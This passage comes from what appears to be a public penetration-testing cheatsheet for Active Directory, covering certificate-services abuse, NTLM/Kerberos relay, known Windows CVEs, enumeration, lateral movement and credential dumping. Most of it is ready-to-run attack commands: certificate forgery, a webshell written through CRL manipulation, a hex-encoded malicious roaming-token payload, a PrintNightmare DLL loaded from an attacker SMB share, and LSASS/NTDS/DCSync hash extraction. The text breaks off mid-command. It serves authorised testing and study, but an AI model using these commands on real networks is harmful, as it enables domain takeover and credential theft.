"PolicyModules\CertificateAuthority_MicrosoftDefault.Policy") $configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy") # Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output) certutil.exe -config "CA.consoto.local\CA" -getreg "policy\EditFlags" reg query \\CA.contoso.com\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\contoso-CA-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy /v EditFlags On another hand, it is possible to create a new CRL Distribution Point (CDP) that point to a controlled server is order to obtain an NTLM authentication from the AD CS server. Certify.exe coerceauth /ca:CA.contoso.local\CA01 /target: Or write a webshell in the web server directory on the CA via a CDP manipluation: Certify.exe writefile /ca:CA.contoso.local\CA01 /path:C:\inetpub\wwwroot\shell.asp /input:shell.asp If an attacker gains control over a principal that has the ManageCertificates right over the CA, he can remotely approve pending certificate requests, subvertnig the "CA certificate manager approval" protection # Request a certificate that requires manager approval with Certify Certify.exe request /ca:CA.contoso.local\CA01 /template:ApprovalNeeded ... [*] Request ID : 1337 # Approve a pending request with PSPKI PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-PendingRequest -RequestID 1337 | Approve-CertificateRequest # Download the issued certificate with Certify Certify.exe download /ca:CA.contoso.local\CA01 /id:1337 Linux When it is not possible to restart the CertSvc service to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute,the built-in template SubCA can be usefull. It is vulnerable to the ESC1 attack, but only Domain Admins and Enterprise Admins can enroll in it. If a standard user try to enroll in it with Certipy, he will encounter a CERTSRV_E_TEMPLATE_DENIED errror and will obtain a request ID with a corresponding private key. This ID can be used by a user with the ManageCA and ManageCertificates rights to validate the failed request. Then, the user can retrieve the issued certificate by specifying the same ID. With ManageCA right it is possible to promote new officier and enable templates # Add a new officier certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -add-officer 'user' # List all the templates certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -list-templates # Enable a certificate template certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -enable-template 'SubCA' With ManageCertificates AND ManageCA it is possible to issue certificate from failed request # Issue a failed request (need ManageCA and ManageCertificates rights for a failed request) certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -issue-request 100 # Retrieve an issued certificate certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -retrieve 100 CA Configuration - ESC6, 12, 16 EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 If the CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 is set, it is possible to specify a SAN in any certificate request. This ESC has been patched with the Certifried CVE patch. If the updates are installed, exploitation requires either a template vulnerable to ESC9 or misconfigured registry keys vulnerable to ESC10. Windows # Find info about CA Certify.exe cas # Find template for authent Certify.exe /enrolleeSuppliesSubject Certify.exe /clientauth # Request certif with SAN Certify.exe request /ca:'domain\ca' /template:"Certificate template" /altname:"admin" Linux # Verify if the flag is set certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -stdout | grep "User Specified SAN" #To specify a user account in the SAN certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -template 'vulnerable template' -upn 'administrator@contoso.local' #To specify a computer account in the SAN certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -template 'vulnerable template' -dns 'dc.contoso.local' Shell access to ADCS CA with YubiHSM - ESC12 Administrators may configure the Certificate Authority to store its private key on an external device like "Yubico YubiHSM2", over storing it in the software storage. This is a USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine. "In order to generate and use keys in the YubiHSM, the Key Storage Provider must use an authentication key (sometimes dubbed "password"). This key/password is stored in the registry under HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword in cleartext." With an access to the PKI server, it is possible to either redirect the the YubiHSM connection to a controlled machine, or import the PKI certificate and retrieve its private key to forge arbitrary certificate. Everything is explained here. Security Extension Disabled on CA - ESC16 When a CA has the OID 1.3.6.1.4.1.311.25.2 added to its policy\DisableExtensionList registry setting (under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\), every certificate issued by this CA will lack this SID security extension. This effectively makes all templates published by this CA behave as if they were individually configured with the CT_FLAG_NO_SECURITY_EXTENSION flag (as seen in ESC9). ly4k - https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally To be exploitable, the DC must also not being configured to run in Full Enforcement Mode (StrongCertificateBindingEnforcement registry key value is not 2). View the previous link in the quote for more details. The exploitation can be performed in the exact same way as an ESC9, but for any template enabled on the PKI. # Check target UPN certipy account -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -user 'target' read # Update target's UPN certipy account -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -upn 'administrator' -user 'target' update # Retrieve target's credentials certipy shadow -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -account 'target' auto # Request a certificate as the "target" user from any suitable client authentication template export KRB5CCNAME=./target.ccache certipy req -k -dc-ip 'DC_IP' -target 'ca.contoso.local' -ca 'ca_name' -template 'User' # Rollback target's UPN certipy account -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -upn 'target@contoso.local' -user 'target' update # Authenticate as Administrator certipy auth -dc-ip 'DC_IP' -pfx 'administrator.pfx' -username 'administrator' -domain 'contoso.local' In case Full Enforcement is enabled on the DC, it is still possible to exploit the ESC16, if the ESC6 is enabled : # Request certificate, using ESC6 to specify target UPN and SID in SAN certipy req -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca.contoso.local' -ca 'ca_name' -template 'User' -upn 'administrator@contoso.local' -sid 'SID' # Authenticate using the obtained certificate certipy auth -pfx 'administrator.pfx' -dc-ip 'DC_IP' Relay Attacks - ESC8, 11 HTTP Endpoint - ESC8 If the HTTP endpoint is up on the CA and it accept NTLM authentication, it is vulnerable to NTLM or Kerberos relay. NTLM Relay # Prepare relay ntlmrelayx -t "http://CA/certsrv/certfnsh.asp" --adcs --template "Template name" #Or certipy relay -ca ca.contoso.local # Find a way to leak the machine or user Net-NTLM hash (Printerbug, Petitpotam, PrivExchange, etc) ESC8 with NTLM relay can be performed from a WSUS poisoning. #arpspoofing between the target and the WSUS server #In a first terminal sudo arpspoof -i enp0s3 -t #In a second terminal sudo arpspoof -i enp0s3 -t #Redirect WSUS trafic to port 80 sudo iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 80 sudo socat TCP-LISTEN:8530,fork TCP:80 # Prepare relay and wait for an authentication ntlmrelayx -t "http://CA/certsrv/certfnsh.asp" --adcs --template "Computer" Kerberos Relay It is possible with the last versions of mitm6 and krbrelayx. #Setup the relay sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.contoso.local --adcs --template Machine #Run mitm6 sudo mitm6 --domain contoso.local --host-allowlist target.contoso.local --relay CA.contoso.local -v RPC Endpoint - ESC11 Certificate request can be realised through the MS-ICPR RPC endpoint. If the flag IF_ENFORCEENCRYPTICERTREQUEST is enabled on the CA, NTLM signing is required and no relay is possible (default configuration). But, Windows Servers < 2012 and Windows XP clients need the flag to be removed for compatibility. If Enforce Encryption for Requests : Disabled appears on the Certipy CA enumeration output, relay is possible (use this Certipy fork and this Impacket fork for the moment): ntlmrelayx.py -t "rpc://ca.contoso.local" -rpc-mode ICPR -icpr-ca-name "ca_name" -smb2support Certifried (CVE-2022–26923) The CVE is well explained here. The right to create a computer account or the write rights over an existing account are needed. Windows #Clean the SPNs on the controlled computer account Set-ADComputer -ServicePrincipalName @{} #Set the dNSHostName value to the name of a computer account to impersonate Set-ADComputer -DnsHostName dc.contoso.local #Request a certificate Certify.exe request /ca:CA.contoso.local\CA /template:"Machine" Linux To check if the CVE is present, request un certificate as a user. If Certipy print Certificate object SID is [...], the CVE cannot be exploited. #Clean the SPNs on the controlled computer account bloodyAD.py -u user1 -p password -d contoso.local setAttribute 'CN=,CN=Computers,DC=contoso,DC=local' serviceprincipalname '[]' #Set the dNSHostName value to the name of a computer account to impersonate bloodyAD.py -u user1 -p password -d contoso.local setAttribute 'CN=,CN=Computers,DC=contoso,DC=local' dnsHostName '["dc.contoso.local"]' #Request a certificate certipy req -u '@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Machine' Domain Persistence Forge certificates with stolen CA certificate - DPERSIST1 With the CA Certificate it is possible to forge any arbitrary certificate. The CA certificate can be extracted on the CA server as presented in the THEFT2 section, it's a certificate without any EKU and a "CA Version" extension. Additionally, the Issuer and the Subject are the CA itself. Side note: since a forged certificate has not been issued by the CA, it cannot be revoked... Windows With the certificate and the private key in PFX format, ForgeCert can be used: ./ForgeCert.exe --CaCertPath ./ca.pfx --CaCertPassword 'Password123!' --Subject "CN=User" --SubjectAltName administrator@contoso.local --NewCertPath ./admin.pfx --NewCertPassword 'Password123!' Linux With admin prives on the CA server, Certipy can retrieve the CA certificate and its key: certipy ca -backup -u 'user@contoso.local' -p 'password' -ca 'ca_name' Then Certipy can forge the new certificate: certipy forge -ca-pfx ca.pfx -upn administrator@contoso.local -subject 'CN=Administrator,CN=Users,DC=CONTOSO,DC=LOCAL' Trusting Rogue CA Certificates - DPERSIST2 The principle is to generate a rogue self-signed CA certificate and add it to the NTAuthCertificates object. Then any forged certificates signed by this rogue certificate will be valid. With sufficient privileges on the NTAuthCertificates AD object (Enterprise Admins or Domain Admins/Administrator in the root domain), the new certificate can be pushed like this: certutil.exe -dspublish -f C:\CERT.crt NTAuthCA Malicious Misconfiguration - DPERSIST3 Similarly to the ESC5, this point covers all the interesting rights that can be set (via DACL for example) to achieve a persistence. For example, setting a WriteOwner right on the User template for the attacker can be interesting. Other targets are worthwhile: CA server’s AD computer object The CA server’s RPC/DCOM server Any descendant AD object or container in the container CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.) AD groups delegated rights to control AD CS by default or by the current organization (e.g., the built-in Cert Publishers group and any of its members) Pass-The-Certificate PKINIT With a certificate valid for authentication, it is possible to request a TGT via the PKINIT protocol. Windows # Information about a cert file certutil -v -dump admin.pfx # From a Base64 PFX Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show Linux # Authentication with PFX/P12 file certipy auth -pfx 'user.pfx' # PEM certificate (file) + PEM private key (file) gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" # PFX certificate (file) + password (string, optionnal) gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" Schannel If PKINIT is not working on the domain, LDAPS can be used to pass the certificate with PassTheCert. Windows Grant DCSync rights to an user ./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid #To restore ./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt Add computer account ./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --add-computer --computer-name TEST$ --computer-password RBCD ./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --rbcd --target "CN=DC,OU=Domain Controllers,DC=domain,DC=local" --sid Reset password ./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --reset-password --target "CN=user1,OU=Users,DC=domain,DC=local" --new-password Linux For RBCD attack with passthecert.py #Create a new computer account python3 passthecert.py -action add_computer -crt user.crt -key user.key -domain contoso.local -dc-ip 'DC_IP' #Add delegation rights python3 passthecert.py -action write_rbcd -crt user.crt -key user.key -domain contoso.local -dc-ip 'DC_IP' -port 389 -delegate-to -delegate-from TARGET$ #Impersonation is now possible With Certipy certipy auth -pfx dc.pfx -dc-ip 'DC_IP' -ldap-shell References SpecterOps blog SpecterOps whitepaper ESC13 article ESC14 article The Hacker Recipes Snovvcrash Certipy2.0 blog Certipy4.0 blog modifyCertTemplate HTTP418 Infosec Weak ACLs Sploutchy's ESC11 attack hajo's ESC12 attack Certipy Certify Active Directory - Python edition This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_. I will try to put as many links as possible at the end of the page to direct to more complete resources. Misc Internal audit mindmap Insane mindmap by @M4yFly. Find the domain and the DCs Generally the domain name can be found in /etc/resolv.conf Then the DNS is generally installed on the DC : nslookup domain.local Usernames wordlist Create a wordlist of usernames from list of Surname Name Code here python3 namemash.py users.txt > usernames.txt Initial Access What to do when you are plugged on the network without creds. NTLM authentication capture on the wire with Responder poisoning, maybe in NTLMv1 ? Relay the NTLM authentications to interesting endpoints, be careful to the signing SMB socks to list/read/write the shares LDAP to dump the directory LDAPS (or maybe SMB if signing not required) to add a computer account ... ARP poisoning with bettercap, can be used to poison ARP tables of targets and receive authenticated requests normally destinated to other devices. Interesting scenarios can be found here. By sniffing everything on the wire with Wireshark, some secrets can be found with PCredz. First, run bettercap with this config file: # quick recon of the network net.probe on # set the ARP poisoning set arp.spoof.targets set arp.spoof.internal true set arp.spoof.fullduplex true # control logging and verbosity events.ignore endpoint events.ignore net.sniff.mdns # start the modules arp.spoof on net.sniff on sudo ./bettercap --iface --caplet spoof.cap Then sniff with Wireshark. When it is finish, save the trace in a .pcap file and extract the secrets: python3 ./Pcredz -f extract.pcap Poison the DHCPv6 answer to receive NTLM or Kerberos authentication NTLM auths can be relayed with ntlmrelayx Kerberos auths can be relayed with krbrelayx to HTTP endpoints (ADCS, SCCM AdminService API) Search for a domain account Look for SMB Guest and null session, and LDAP null bind # Check SMB Guest logon and Null session nxc smb # SMB Null/Anonymous session on a DC nxc smb -u '' -p '' --users # LDAP null bind nxc ldap -u '' -p '' --users Perform RID cycling through SMB null session nxc smb -u '' -p '' --rid-brute 10000 Perform bruteforce attacks With SMB login bruteforce With Kerbrute bruteforce Allows you to bruteforce Kerberos on user accounts while indicating whether the user account exists or not. Another advantage over smb_login is that it doesn't correspond to the same EventId, thus bypassing potential alerts. The script can work with 2 independent lists for users and passwords, but be careful not to block accounts! ./kerbrute userenum -domain domain.local users.txt Test for the Top1000 with login = password Possible other passwords: (empty) password P@ssw0rd Look for juicy CVEs Search for devices like printers, routers, or similar stuff with default creds In case a printer (or something similar) has an LDAP account, but use the SASL authentication family instead of SIMPLE, the classic LDAP passback exploitation with a nc server will not be sufficient to retrieve the credentials in clear text. Instead, use a custom LDAP server that only offer the weak PLAIN and LOGIN protocols. This Docker permits to operate with weak protocols. docker buildx build -t ldap-passback . docker run --rm -ti -p 389:389 ldap-passback In parallel, listen with tshark: tshark -i any -f "port 389" \ -Y "ldap.protocolOp == 0 && ldap.simple" \ -e ldap.name -e ldap.simple -Tjson CVEs AD oriented CVE-2025-33073 - NTLM Reflective relay Permits to relay a SMB authentication from a machine to itself, with SYSTEM privileges thanks to Local NTLM authentication. SMB signing must not be enforced to relay from SMB to SMB. If services such as WinRM/S, MSSQL, or HTTP/S are active on the machine (Windows Servers or ADCS PKI, for example), relaying is still possible, even with signing or EPA enabled! Only a complete patch truly blocks it. The only exceptions are LDAPS and RPC. #Check if a computer is vulnerable nxc smb -u user1 -p password -M ntlm_reflection #Setup DNS dnstool.py -u 'domain.local\user1' -p password -a add -r $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d # Or, to target any computer dnstool.py -u 'domain.local\user1' -p password -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d #Coerce PetitPotam.py -u user1 -p password -d domain.local $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA TARGET.DOMAIN.LOCAL #Chose the service to relay ntlmrelayx.py -t -smb2support -socks ntlmrelayx.py -t mssql:// -smb2support -socks ntlmrelayx.py -t winrms:// -smb2support -socks SPNEGO RCE (CVE-2022-37958) - No public POC for the moment PetitPotam pre-auth (CVE-2022-26925) If the target is not patched, this CVE can be exploited without creds. ./petitpotam.py -pipe all NoPac (a.k.a. SamAccountName Spoofing, CVE-2021-42278 and CVE-2021-42287) To exploit these vulnerabilities you need to already control a computer account or have the right to create a new one. #Get ST python3 noPac.py domain.local/user1:'password' -dc-ip #Auto dump the hash python3 noPac.py domain.local/user1:'password' -dc-ip --impersonate administrator -dump -just-dc-user domain/krbtgt PrintNightmare (CVE-2021-1675 / CVE-2021-34527) #Load a DLL hosted on a SMB server on the attacker machine ./printnightmare.py -dll '\\\smb\add_user.dll' 'user1:password@' #Load a DLL hosted on the target, and specify a custom driver name ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' -name 'Patapouf' 'user1:password@' Zerologon (CVE-2020-1472) The relay technique is preferable to the other one which is more risky and potentially destructive. See in the link. EternalBlue / Blue Keep (MS17-010 / CVE-2019-0708) The exploits in the Metasploit framework are good for these two CVEs. #EternalBlue msf6 exploit(windows/smb/ms17_010_psexec) > #Blue Keep msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > SMBGhost (CVE-2020-0796) Be careful, this exploit is pretty unstable and the risk of BSOD is really important. The exploit in the Metasploit framework is good for this CVE. msf6 exploit(windows/smb/cve_2020_0796_smbghost) > RC4-MD4 downgrade (CVE-2022-33679) To exploit this CVE the RC4-MD4 encryption must be enabled on the KDC, and an AS-REP Roastable account is needed to obtain an ST for the target. ./CVE-2022-33079.py -dc-ip domain.local/ Credentials Roaming (CVE-2022-30170) # Fetch current user object $user = get-aduser -properties @('msPKIDPAPIMasterKeys','msPKIAccountCredentials', 'msPKI-CredentialRoamingTokens','msPKIRoamingTimestamp') # Install malicious Roaming Token (spawns calc.exe) $malicious_hex = "25335c2e2e5c2e2e5c57696e646f77735c5374617274204d656e755c50726f6772616d735c537461727475705c6d616c6963696f75732e6261740000000000000000000000000000000000000000000000000000000000000000000000000000f0a1f04c9c1ad80100000000f52f696ec0f1d3b13e9d9d553adbb491ca6cc7a319000000406563686f206f66660d0a73746172742063616c632e657865" $attribute_string = "B:$($malicious_hex.Length):${malicious_hex}:$($user.DistinguishedName)" Set-ADUser -Identity $user -Add @{msPKIAccountCredentials=$attribute_string} -Verbose # Set new msPKIRoamingTimestamp so the victim machine knows an update was pushed $new_msPKIRoamingTimestamp = ($user.msPKIRoamingTimestamp[8..15] + [System.BitConverter]::GetBytes([datetime]::UtcNow.ToFileTime())) -as [byte[]] Set-ADUser -Identity $user -Replace @{msPKIRoamingTimestamp=$new_msPKIRoamingTimestamp} -Verbose Bronze Bit (CVE-2020-17049) To exploit this CVE, a controlled service account with constrained delegation to the target account is needed. getST.py -force-forwardable -spn -impersonate Administrator -dc-ip -hashes : domain.local/ MS14-068 goldenPac.py 'domain.local'/'user1':'password'@ Targeting Exchange server ProxyNotShell / ProxyShell / ProxyLogon (CVE-2022-41040 & CVE-2022-41082 / CVE-2021-34473 & CVE-2021-34523 & CVE-2021-31207 / CVE-2021-26855 & CVE-2021-27065) The exploits in the Metasploit framework are good for these three CVEs. msf6 exploit(windows/http/exchange_proxynotshell_rce) > msf6 exploit(windows/http/exchange_proxyshell_rce) > msf6 exploit(windows/http/exchange_proxylogon_rce) > CVE-2023-23397 This CVE permits to leak the NTLM hash of the target as soon as the email arrives in his Outlook mail box. This PoC generates a .msg file containing the exploit in the pop-up sound attribute. It is up to you to send the email to the target. python3 CVE-2023-23397.py --path '\\\' Before sending the email, run Responder to intercept the NTLM hash. For local privesc Look at the Active Directory cheatsheet for this part. Domain Enumeration Domain policy Current domain #Domain policy with ldeep ldeep ldap -u user1 -p password -d domain.local -s domain_policy #Password policy with NXC nxc smb -u user1 -p password --pass-pol Another domain ldeep ldap -u user1 -p password -d domain.local -s domain_policy Domain controller The DNS is generally on the DC. nslookup domain.local nxc smb -u user1 -p password Users enumeration List users ldeep ldap -u user1 -p password -d domain.local -s users User's properties ldeep ldap -u user1 -p password -d domain.local -s users -v nxc ldap -u user1 -p password -M get-desc-users -M get-info-users -M get-unixUserPassword -M getUserPassword Search for a particular string in attributes ldeep ldap -u user1 -p password -d domain.local -s users -v |grep -i password Actively logged users on a machine Needs local admin rights on the target nxc smb -u user1 -p password --sessions User hunting Find machine where the user has admin privs If a Pwned connection appears, admin rights are present. However, if the UAC is present it can block the detection. nxc smb -u user1 -p password Find local admins on a domain machine lookupadmins.py python3 lookupadmins.py domain.local/user1:password@ #NXC nxc smb -u user1 -p password --local-groups Administrators Computers enumeration ldeep ldap -u user1 -p password -d domain.local -s machines #Full info ldeep ldap -u user1 -p password -d domain.local -s machines -v #Hostname enumeration ldeep ldap -u user1 -p password -d domain.local -s computers ldeep ldap -u user1 -p password -d domain.local -s computers --resolve Groups enumeration Groups in the current domain ldeep ldap -u user1 -p password -d domain.local -s groups #Full info ldeep ldap -u user1 -p password -d domain.local -s groups -v Search for a particular string in attributes ldeep ldap -u user1 -p password -d domain.local -s groups -v |grep -i admin All users in a specific group ldeep ldap -u user1 -p password -d domain.local -s membersof -v All groups of an user ldeep ldap -u user1 -p password -d domain.local -s memberships Local groups enumeration nxc smb -u user1 -p password --local-groups Members of a local group nxc smb -u user1 -p password --local-groups Shares / Files Find shares on the domain nxc smb -u user1 -p password --shares A module for searching network shares:spider_plus. Running the module without any options (on a /24, for example) will produce a JSON output for each server, containing a list of all files (and some info), but without their contents. Then grep on extensions (conf, ini...) or names (password .. ) to identify an interesting file to search: nxc smb -u user1 -p password -M spider_plus Then, when identifying a lot of interesting files, to speed up the search, dump this on the attacker machine by adding the -o READ_ONLY=False option after the -M spider_plus (but avoid /24, otherwise it'll take a long time). In this case, NetExec will create a folder with the machine's IP, and all the folders/files in it. nxc smb -u user1 -p password -M spider_plus -o READ_ONLY=False Manspider can also be used for this purpose. It permits to crawl all the shares or specific ones, and filter on file extensions, file names, and file contents. # Filter on file names manspider -f passw user admin account network login logon cred -d domain -u user1 -p password # Search for content manspider -c passw cpassword -d domain -u user1 -p password # Search for file extension manspider -e bat com vbs ps1 psd1 psm1 pem key rsa pub reg pfx cfg conf config vmdk vhd vdi dit -d domain -u user1 -p password Parameters can be combined. Find files with a specific pattern nxc smb -u user1 -p password --spider --content --pattern pass Find files with sensitive data Python version of Snaffler pysnaffler 'smb2+ntlm-password://domain\user1:password@' GPO enumeration List of GPO in the domain ldeep ldap -u user1 -p password -d domain.local -s gpo Parse all GPO nxc smb -u user1 -p password -M gpp_privileges # With gpoParser gpoParser remote -u user1 -p password -d domain.local -s gpoParser query # To enrich BloodHound gpoParser enrich -u $NEO4J_USER -p $NEO4J_PASS -s $NEO4J_SERVER # With GPOHound # Download SYSVOL smbclient -U "user1"%"password" ///SYSVOL -c "recurse; prompt; mget *;" # Dump GPO from SYSVOL gpohound dump --neo4j-user $NEO4J_USER --neo4j-pass $NEO4J_PASS -S ./SYSVOL --gpo-name # Import in BloodHound gpohound analysis --neo4j-user $NEO4J_USER --neo4j-pass $NEO4J_PASS -S ./SYSVOL --enrich Organisation Units OUs of the domain and their linked GPOs ldeep ldap -u user1 -p password -d domain.local -s ou Computers within an OU ldeep ldap -u user1 -p password -d domain.local -s machines -v |grep -i "OU=" |grep -i "distinguishedName" DACLs All ACLs associated to an object (inbound) #With samAccountName dacledit.py -action read -target -dc-ip domain.local/user1:password #With DN dacledit.py -action read -target-dn -dc-ip domain.local/user1:password #With SID dacledit.py -action read -target-sid -dc-ip domain.local/user1:password Outbound ACLs of an object These are the rights a principal has against another object dacledit.py -action read -target -principal <-dc-ip domain.local/user1:password Trusts Trusts for the current domain ldeep ldap -u user1 -p password -d domain.local -s trusts All In One ldeep ldap -u user1 -p password -d domain.local -s all BloodHound The Bloodhound-python module doesn't support all the SharpHound features (essentially about GPOs) DNS resolution Sometimes the DNS resolution to find the DC doesn't work very well. dnschef can solve this problem: dnschef --fakeip --fakedomains domain.local -q Then, in the BloodHound command specify the DNS address with -ns 127.0.0.1, dnschef will do the work. Basic usage # Default collection bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local --zip # All collection excepted LoggedOn bloodhound-python -u user1 -p password -d domain.local -c all -dc DC.domain.local --zip #With LoggedOn bloodhound-python -u user1 -p password -d domain.local -c all,LoggedOn -dc DC.domain.local --zip #Only collect from the DC, doesn't query the computers (more stealthy) bloodhound-python -u user1 -p password -d domain.local -c DCOnly -dc DC.domain.local --zip Specify another Global Catalog bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local -gc --zip Interesting Neo4j queries Users with SPNs MATCH (u:User {hasspn:true}) RETURN u AS-REP Roastable users MATCH (u:User {dontrepreauth:true}) RETURN u Computers AllowedToDelegate to other computers MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) return p Shortest path from Kerberoastable user MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p Computers in Unconstrained Delegations MATCH (c:Computer {unconsraineddelegation:true}) RETURN c Rights against GPOs MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]->(gp)) return p Potential SQL Admins MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) return p LAPS Machine with LAPS enabled MATCH (c:Computer {haslaps:true}) RETURN c Users with read LAPS rights against "LAPS machines" MATCH p=(g:Group)-[:ReaLAPSPassword]->(c:Computer) return p SOAPHound A tool to gather LDAP information through the ADWS service with SOAP queries instead of the LDAP one. Data can be displayed in BloodHound. This tool is presented in the Active Directory cheatsheet. AD Miner AD Miner is another solution to display BloodHound data into a web based GUI. It is usefull for its Smartest paths feature that permits to display the, sometimes longer, but simpler compromission path (for example, when the shortest path implies a ExecuteDCOM edge). MSSQL With MSSQLHound. Presented in the Active Directory cheatsheet. Lateral Movement WinRM evil-winrm -u user1 -p password -i evil-winrm permits to open an interactive WinRM session where it is possible to upload and download items between the target and the attacker machine, load PowerShell scripts, etc. SMB From one computer to another one psexec.py domain.local/user1:password@ From one computer to many ones nxc smb -u user1 -p password -X Execute immediat scheduled task #As the session 0 (SYSTEM) atexec.py domain.local/user1:password@ #As the user of another session on the machine atexec.py -session-id domain.local/user1:password@ nxc smb -u user1 -p password -M schtask_as -o USER=user2 CMD= nxc smb -u user1 -p password -M schtask_as -o USER=user2 CMD=certreq CA= TEMPLATE=User WMI wmiexec.py domain.local/user1:password@ ShellBrowserWindow DCOM object dcomexec.py domain.local/user1:password@ Credentials gathering Check RunAsPPL Check if RunAsPPL is enabled in the registry. nxc smb -u user1 -p password -M runasppl Dump creds remotely #Dump SAM database on a machine nxc smb -u user1 -p password --sam #Dump LSA secrets on a machine nxc smb -u user1 -p password --lsa #In a PDF with LSA_reg2pdf, exec get_pdf, and get_bootkey on your host to parse the PDF .\get_pdf.exe 1 python3 get_bootkey.py #Dump through remote registry reg.py -o \\\share domain.local/user1:password@ backup reg.py domain.local/user1:password@ query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' #Dump with an alternative method, regsecrets.py, more discreet regsecrets.py domain.local/user1:password@target.domain.local #Dump the lsass process and parse it nxc smb -u user1 -p password -M lsassy nxc smb -u user1 -p password -M nanodump nxc smb -u user1 -p password -M mimikatz nxc smb -u user1 -p password -M procdump lsassy -u user1 -p password -d domain.local minidump domain.local/user1:password@dc.domain.local:/C$/Windows/Temp/lsass.dmp # Impacket # Via DRSUAP secretsdump.py domain.local/user1:password@ # Via NTDSUTIL secretsdump.py domain.local/user1:password@ -use-vss -just-dc # Via WMI Shadow Snapshot secretsdump.py domain.local/user1:password@ -use-remoteSSWMI -use-remoteSSWMI-NTDS -just-dc # NetExec # Raw dump depuis le disque dur. Aussi disponible via winrm et wmi nxc smb -u user1 -p password -M ntds-dump-raw # Via NTDSUTIL nxc smb -u user1 -p password -M ntdsutil # Via DRSUAPI ou VSS nxc smb -u user1 -p password --ntds [{drsuapi,vss}] #DCSync only the NT && LM hashes of a user secretsdump.py -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/user1:password@ #Retrieve NT hashes via Key List Attack on a RODC #Attempt to dump all the users' hashes even the ones in the Denied list #Low privileged credentials are needed in the command for the SAMR enumeration keylistattack.py -rodcNo -rodcKey -full domain.local/user1:password@RODC-server #Attempt to dump a specific user's hash keylistattack.py -rodcNo -rodcKey -t user1 -kdc RODC-server.domain.local LIST #Certsync - retrieve the NT hashes of all the users with PKINIT #Backup the private key and the certificate of the Root CA, and forge Golden Certificates for all the users #Authenticate with all the certificate via PKINIT to obtain the TGTs and extract the hashes with UnPAC-The-Hash certsync -u administrator -p 'password' -d domain.local -dc-ip #Provide the CA .pfx if it has been obtained with another way certsync -u administrator -p 'password' -d domain.local -dc-ip -ca-pfx CA.pfx Many techniques to dump LSASS : https://redteamrecipe.com/50-Methods-For-Dump-LSASS/ Extract creds locally The SYSTEM hive is needed to retrieve the bootkey and decipher the DB files. #Extract creds from SAM and SECURITY (LSA cached secrets) secretsdump.py -system ./system.save -sam 